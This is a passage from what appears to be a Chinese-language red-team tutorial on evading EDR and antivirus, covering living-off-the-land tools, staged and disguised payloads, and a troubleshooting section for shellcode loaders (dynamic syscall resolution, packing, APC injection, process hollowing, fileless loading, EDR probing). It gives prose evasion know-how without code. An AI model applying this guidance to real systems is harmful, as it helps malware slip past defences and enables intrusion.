紅隊(duì)的應(yīng)對思路面對不斷升級的防御紅隊(duì)和滲透測試者的思路也需要從“單點(diǎn)技術(shù)繞過”轉(zhuǎn)向“體系化對抗”。技術(shù)層面持續(xù)迭代沒有永遠(yuǎn)免殺的技術(shù)。需要持續(xù)關(guān)注EDR的更新日志、研究論文并不斷更新自己的工具鏈。混合使用多種技術(shù)不要依賴單一技術(shù)。結(jié)合靜態(tài)加密、動(dòng)態(tài)解析、直接系統(tǒng)調(diào)用、進(jìn)程注入偽裝等多種手段增加分析復(fù)雜度。利用合法工具與“活”在土地上越來越多地使用操作系統(tǒng)自帶的管理工具如PsExec、WMI、PowerShell、Cobalt Strike的execute-assembly或簽名的第三方軟件如TeamViewer、AnyDesk來執(zhí)行操作。這種“Living-off-the-Land”的策略使得惡意行為隱藏在大量合法的管理流量中難以區(qū)分。研究底層與未文檔化接口深入研究Windows內(nèi)核、硬件虛擬化如HVCI、安全子系統(tǒng)如Credential Guard的細(xì)節(jié)尋找官方文檔未提及的接口或邏輯漏洞。但這需要極高的技術(shù)門檻和風(fēng)險(xiǎn)。戰(zhàn)術(shù)層面?zhèn)刹榕c規(guī)避在行動(dòng)前充分偵查目標(biāo)環(huán)境的安全產(chǎn)品針對性地選擇或定制載荷。避免使用在目標(biāo)行業(yè)已知被重點(diǎn)監(jiān)控的技術(shù)。分散與混淆將功能拆解使用多個(gè)階段、多個(gè)組件通過不同的渠道投遞和執(zhí)行降低單個(gè)組件的威脅分?jǐn)?shù)。模擬正常行為讓惡意代碼的行為節(jié)奏模仿正常軟件。例如在解密和執(zhí)行前加入隨機(jī)延遲模擬用戶思考或網(wǎng)絡(luò)延遲申請內(nèi)存的大小和模式符合正常軟件行為。7. 常見問題與排查技巧實(shí)錄在實(shí)際操作中你會(huì)遇到各種各樣的問題。這里記錄一些我踩過的坑和解決方法。問題1Shellcode執(zhí)行后進(jìn)程崩潰無任何現(xiàn)象。可能原因1Shellcode加密/解密錯(cuò)誤。這是最常見的問題。務(wù)必確保加密和解密算法、密鑰完全一致。在解密后、執(zhí)行前將內(nèi)存中的內(nèi)容寫入文件與原始Shellcode文件進(jìn)行二進(jìn)制比較??赡茉?內(nèi)存權(quán)限問題。確保申請的內(nèi)存具有PAGE_EXECUTE_READ或PAGE_EXECUTE_READWRITE權(quán)限。在調(diào)用Shellcode前可以使用VirtualQuery檢查內(nèi)存區(qū)域?qū)傩?。可能原?Shellcode本身不兼容。不同工具生成的Shellcode可能有不同的環(huán)境假設(shè)如棧對齊要求、API調(diào)用約定。特別是32位和64位Shellcode不能混用。確保Shellcode的架構(gòu)x86/x64與加載器編譯的架構(gòu)一致。排查技巧在調(diào)試器中如x64dbg單步跟入Shellcode。觀察在CreateThread或直接跳轉(zhuǎn)后第一條指令是否被正確執(zhí)行。檢查棧指針RSP是否合理。問題2直接系統(tǒng)調(diào)用Syscall在不同Windows版本上失效。原因系統(tǒng)調(diào)用號隨版本變化。硬編碼必然導(dǎo)致兼容性問題。解決方案必須實(shí)現(xiàn)系統(tǒng)調(diào)用號的動(dòng)態(tài)解析。常見方法是從磁盤或內(nèi)存中讀取本機(jī)的ntdll.dll。解析其PE結(jié)構(gòu)找到目標(biāo)函數(shù)如NtAllocateVirtualMemory的代碼段。在該函數(shù)代碼的開頭附近定位mov eax, SSN指令x64下可能是mov r10, rcx; mov eax, SSN從中提取出系統(tǒng)調(diào)用號SSN。將提取的SSN用于你自己的syscall存根。工具推薦可以使用像SysWhispers2或HellsGate/HalosGate這樣的開源項(xiàng)目它們已經(jīng)實(shí)現(xiàn)了健壯的動(dòng)態(tài)SSN解析。問題3加載器本身被檢測即使Shellcode是加密的。原因加載器的行為模式如連續(xù)的VirtualAlloc、WriteProcessMemory、CreateThread調(diào)用或靜態(tài)特征如字符串、導(dǎo)入函數(shù)被識(shí)別。解決方案混淆加載器使用OLLVM、Tigress等源碼混淆器或VMProtect、Themida等商業(yè)加殼工具對加載器二進(jìn)制進(jìn)行保護(hù)。注意選擇特征不明顯的殼。拆分行為將內(nèi)存申請、寫入、執(zhí)行的操作在時(shí)間上或邏輯上拆分開。例如先申請內(nèi)存過一段時(shí)間或等待某個(gè)事件后再寫入Shellcode再等待更長時(shí)間后才創(chuàng)建線程。使用更隱蔽的注入技術(shù)放棄CreateThread改用APC、線程劫持或進(jìn)程鏤空。無文件落地考慮完全不使用獨(dú)立的加載器EXE而是將加載邏輯寫成一段Shellcode通過PowerShell、VBS、Word宏等方式直接加載到內(nèi)存中執(zhí)行實(shí)現(xiàn)“無文件”攻擊。問題4在裝有高級EDR的機(jī)器上Shellcode執(zhí)行被阻斷但進(jìn)程未崩潰。原因EDR的行為檢測模塊攔截了敏感操作如遠(yuǎn)程線程創(chuàng)建、內(nèi)存屬性修改并采取了“終止操作但允許進(jìn)程繼續(xù)運(yùn)行”的溫和策略。排查與對抗檢查返回值仔細(xì)檢查每個(gè)敏感API的返回值EDR可能返回一個(gè)錯(cuò)誤碼如ACCESS_DENIED而非直接使進(jìn)程崩潰。嘗試降級技術(shù)如果直接系統(tǒng)調(diào)用被內(nèi)核層監(jiān)控嘗試回退到使用被Hook的用戶態(tài)API但通過更復(fù)雜的調(diào)用鏈或偽裝參數(shù)來繞過。探測EDR存在在執(zhí)行敏感操作前先嘗試探測EDR的存在如檢查特定驅(qū)動(dòng)、進(jìn)程、注冊表項(xiàng)。如果探測到則進(jìn)入“靜默模式”或執(zhí)行無害的備用邏輯。資源限制EDR的深度監(jiān)控消耗資源??梢試L試通過快速、大量地發(fā)起合法系統(tǒng)調(diào)用如反復(fù)打開/關(guān)閉文件來對EDR代理進(jìn)行“資源耗盡”攻擊以期在其繁忙時(shí)執(zhí)行惡意操作此方法成功率低且不道德僅作研究討論。這個(gè)領(lǐng)域沒有銀彈真正的免殺是技術(shù)、耐心和對攻防雙方深刻理解的結(jié)合。每一次成功的繞過都建立在對系統(tǒng)更深一層的認(rèn)知之上。保持學(xué)習(xí)謹(jǐn)慎測試永遠(yuǎn)不要在未經(jīng)授權(quán)的系統(tǒng)上進(jìn)行實(shí)踐。